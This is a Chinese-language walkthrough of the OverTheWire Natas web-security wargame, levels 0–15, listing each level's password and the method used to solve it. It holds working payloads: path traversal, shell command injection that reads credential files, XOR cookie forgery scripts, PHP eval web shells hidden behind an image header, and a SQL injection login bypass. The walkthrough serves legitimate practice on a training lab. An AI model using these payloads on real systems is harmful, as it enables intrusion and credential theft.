natas通关指南
- level0
- level1
- level2
- level3
- level4
- level5
- level6
- level7
- level8
- level9
- level10
- level11
- level12
- level13
- level14
- level15
很久以前玩的一个Web安全的通关游戏Natas,每一关的地址是http://natasX.natas.labs.overthewire.org,其中X代表当前关数,默认用户名是nataX(eg.natas0 是level0的用户名),通过当前的一关获取进入下一关的密码。所有密码存储在/etc/natas_webpass/中(eg.level5的密码存储在/etc/natas_webpass/natas5,只能在第四关和第五关能够读取密码)
level0
URL: http://natas0.natas.labs.overthewire.org
Username: natas0
Password: natas0
登陆,查看源码,获取密码 gtVrDuiDfck831PqWsLEZy5gyDz1clto
<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->
level1
URL:http://natas1.natas.labs.overthewire.org
Username:natas1
Password:gtVrDuiDfck831PqWsLEZy5gyDz1clto
这一关通过查看源码获得level2的密码
<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
level2
URL:http://natas2.natas.labs.overthewire.org
Username:natas2
Password:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
提示:There is nothing on this page
查看源码确实没有,但是源码中可以看到有/css,/js,/files三个目录,尝试files目录,有信息泄露,从users.txt中获取level3的密码
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
level3
URL:http://natas3.natas.labs.overthewire.org
Username:natas3
Password:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
这关的提示:没有信息泄露,连google都发现不了
看到提示马上想到robots.txt,这个文件一般用来防爬虫的,访问该文件,发现目录/s3cr3t/
User-agent: *
Disallow: /s3cr3t/
再访问/s3cr3t/目录下的users.txt,获取level4的密码:
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
level4
URL:http://natas4.natas.labs.overthewire.org
Username:natas4
Password:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
提示:禁止访问,授权用户来自natas5
想到应该是伪造请求
burpsuite抓包,修改请求头中的refer为Referer: http://natas5.natas.labs.overthewire.org/,获取level5的密码:Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
level5
URL:http://natas5.natas.labs.overthewire.org
Username:natas5
Password:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
提示:Access disallowed. You are not logged in
明明登陆成功,却说没有登陆,想到可能是cookie认证出问题,同样用burpsuite抓个报,发现cookie中的loggedin字段值loggedin=0,修改为loggedin=10,过关
Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
level6
URL:http://natas6.natas.labs.overthewire.org
Username:natas6
Password:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
源码分析
<?
include "includes/secret.inc";if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";} else {
print "Wrong secret";}}
?>
array_key_exists没有漏洞,验证post提交的值与密码是否相同,尝试访问includes/secret.inc,得到$secret = "FOEIUWGHFEEUHOFUOIU";
输入密钥,过关,害我还以为函数有漏洞。Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
level7
URL:http://natas7.natas.labs.overthewire.org
Username:natas7
Password:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
提示:hint: password for webuser natas8 is in /etc/natas_webpass/natas8
尝试目录遍历读取,过关。Password:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
payload:http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../../../etc/natas_webpass/natas8
level8
URL:http://natas8.natas.labs.overthewire.org
Username:natas8
Password:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
源码:
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";} else {
print "Wrong secret";}
}
?>
这是解密题,post参数值通过encodeScret()函数加密,加密后的值等于$encodedSecret = "3d3d516343746d4d6d6c315669563362"
,即已知加密算法及加密后的值,求解加密之前的原文。
bin2hex(strrev(base64_encode($secret)))=3d3d516343746d4d6d6c315669563362
解密算法
<?php
$encodesecret = "3d3d516343746d4d6d6c315669563362";
$encodesecret=hex2bin($encodesecret);
$encodesecret=strrev($encodesecret);//strrev — 反转字符串
$encodesecret=base64_decode($encodesecret);
print $encodesecret;
?>
找个在线运行代码的网站,我这里用https://tool.lu/coderunner/,运行代码,得到$_POST[‘secret’]=oubWYf2kBq,进而获得密码:Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
level9
URL:http://natas9.natas.labs.overthewire.org
Username:natas9
Password:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
源码:
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
//判断是否存在needle$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt"); //grep -i 或 --ignore-case : 忽略字符大小写的差别;执行命令获取文件dictionary.txt中的内容
}
?>
首先想到可以查看文件的命令有more、less、tac、cat等
构造payload:needle=cat
,没有发现下一关的密码,想到应该是直接读取密码文件(/etc/natas_webpass/natas10)的内容,构造pyaload:needle=cat /etc/natas_webpass/natas10
,不能得出结果,需要考虑语句的内容,进行拼接。
命令执行绕过
1、常用方法
使用& 、&& 、; 、| 、||绕过
连接字符 | 方式 | 执行方式 |
---|---|---|
&& | A&&B | A执行成功才执行B,A执行失败B不执行 |
& | A&B | A、B都执行 |
; | A;B | windows下不执行,linux下都执行 |
|| | A||B | A执行成功则只执行A,否则执行B |
| | A|B | 直接执行B |
基础通用方法破解dvwa之代码注入,该文章里面有讲到使用不同字符对命令语句进行拼接,究竟会如何执行。
根据文章内容构造本关的payload:
?needle=|cat /etc/natas_webpass/natas10 #
?needle=;cat /etc/natas_webpass/natas10 #
?needle=&cat /etc/natas_webpass/natas10 #
最后的#可以fuzz以下,估计很多字符可以将dictionary.txt绕过掉,natas10的密码nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
level10
URL:http://natas10.natas.labs.overthewire.org
Username:natas10
Password:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
源码:
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
//过滤字符/[;|&]/print "Input contains an illegal character!";} else {
passthru("grep -i $key dictionary.txt");}
}
?>
无法绕过grep命令,想办法直接使用grep命令,基于grep命令可以使用正则表达式,
payload:
. /etc/natas_webpass/natas11 #
[a-zA-Z] /etc/natas_webpass/natas11 #
得到密码:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
level11
URL:http://natas11.natas.labs.overthewire.org
Username:natas11
Password:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
源码:
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';$text = $in;$outText = '';// Iterate through each characterfor($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)]; //异或}return $outText;
}function loadData($def) {
global $_COOKIE;$mydata = $def;if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);//将cookie中data的值用base64解码,再用自定义函数xor_encrypt异或加密if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];$mydata['bgcolor'] = $tempdata['bgcolor'];}}}return $mydata;
}function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];}
}
saveData($data);
?><?
if($data["showpassword"] == "yes") {
//如果data的showpassword字段值为yes,打印natas12的密码print "The password for natas12 is <censored><br>";
}
?>
根据异或的特性,如果有A XOR B =C ,则有 A XOR C =B。
已知$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff")
、当前的Cookie: data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D
(%3D为字符=),计算key
<?php
$cookie_data='ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';
function xor_encrypt($in) {
$key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));$text = $in;$outText = '';// Iterate through each characterfor($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)]; //异或}return $outText;
}
print_r(xor_encrypt(base64_decode($cookie_data)));
?>
得到结果:qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq,则key=qw8J
因为只判断$data["showpassword"] == "yes"
,而$data = loadData($defaultdata)
,函数loadData()
中解密$_COOKIE["data"]
的值(xor_encrypt(base64_decode($_COOKIE["data"]))
),所以只要利用前面获取到的key,对数组array( "showpassword"=>"yes", "bgcolor"=>"#ffffff")
加密,生成cookie,然后用burpsuite替换掉cookie即可。
<?php
$change_data = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = 'qw8J';$text = $in;$outText = '';// Iterate through each characterfor($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)]; //异或}return $outText;
}
print_r(base64_encode(xor_encrypt(json_encode($change_data))));
?>
生成的cookie值为ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK,再使用burpsuite替换cookie,过关。The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
level12
URL:http://natas12.natas.labs.overthewire.org
Username:natas12
Password:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
源码:
<?
function genRandomString() {
$length = 10;$characters = "0123456789abcdefghijklmnopqrstuvwxyz";$string = ""; for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];}return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;} while(file_exists($path));return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";} else{
echo "There was an error uploading the file, please try again!";}}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
从源码分析,没有校验文件类型,只生成了随机命名的文件名,所以这题可以任意上传,用burpsuite修改文件好文件名即可
上传代码ok<?php phpinfo();?>
,发现函数system、eval等众多命令执行函数都没有禁用
上传文件1.php ok<?php @eval($_REQUEST['cmd']);echo 'hello!'; ?>
修改文件后缀为php,返回文件路径upload/m93jo9pd4w.php
payload:upload/m93jo9pd4w.php?cmd=system('cat /etc/natas_webpass/natas13')
ps:想获取所有关卡密码,发现果然只能获取当前和下一关的密码
nstas13的password:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
level13
URL:http://natas13.natas.labs.overthewire.org
Username:natas13
Password:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
这题不上全部源码了,基本没区别,使用exif_imagetype()函数对图片类型进行判断,修改代码如下:
if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
//exif_imagetype — 判断一个图像的类型echo "File is not an image";
那么,上传一张真实图片,再用burpsuite修改图片文件内容及后缀名,但一定要保留好图片的文件头,即最开始的几个字符
下图就是png的文件头
GIF文件的文件头GIF89a
保留图片文件头,修改图片内容为以下内容,然后上传,获取文件返回路径upload/1ls4ey5s8a.php
hello<br/><?php @eval($_REQUEST['cmd']);?>
payload:upload/1ls4ey5s8a.php?cmd=system('cat /etc/natas_webpass/natas14');
结果:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
level14
URL:http://natas14.natas.labs.overthewire.org
Username:natas14
Password:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
源码:
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');mysql_select_db('natas14', $link);$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";}if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";} else {
echo "Access denied!<br>";}mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
分析源码存在注入,对用户输入的username、password没做过滤,存在debug参数,会返回sql查询语句
测试:http://natas14.natas.labs.overthewire.org/?username=1&debug=1&password=1
Executing query: SELECT * from users where username="1" and password="1"
Access denied!
payload:username=12" or 1 #&password=12
natas15密码:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
未完待续
level15
URL:http://natas15.natas.labs.overthewire.org
Username:natas15
Password:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J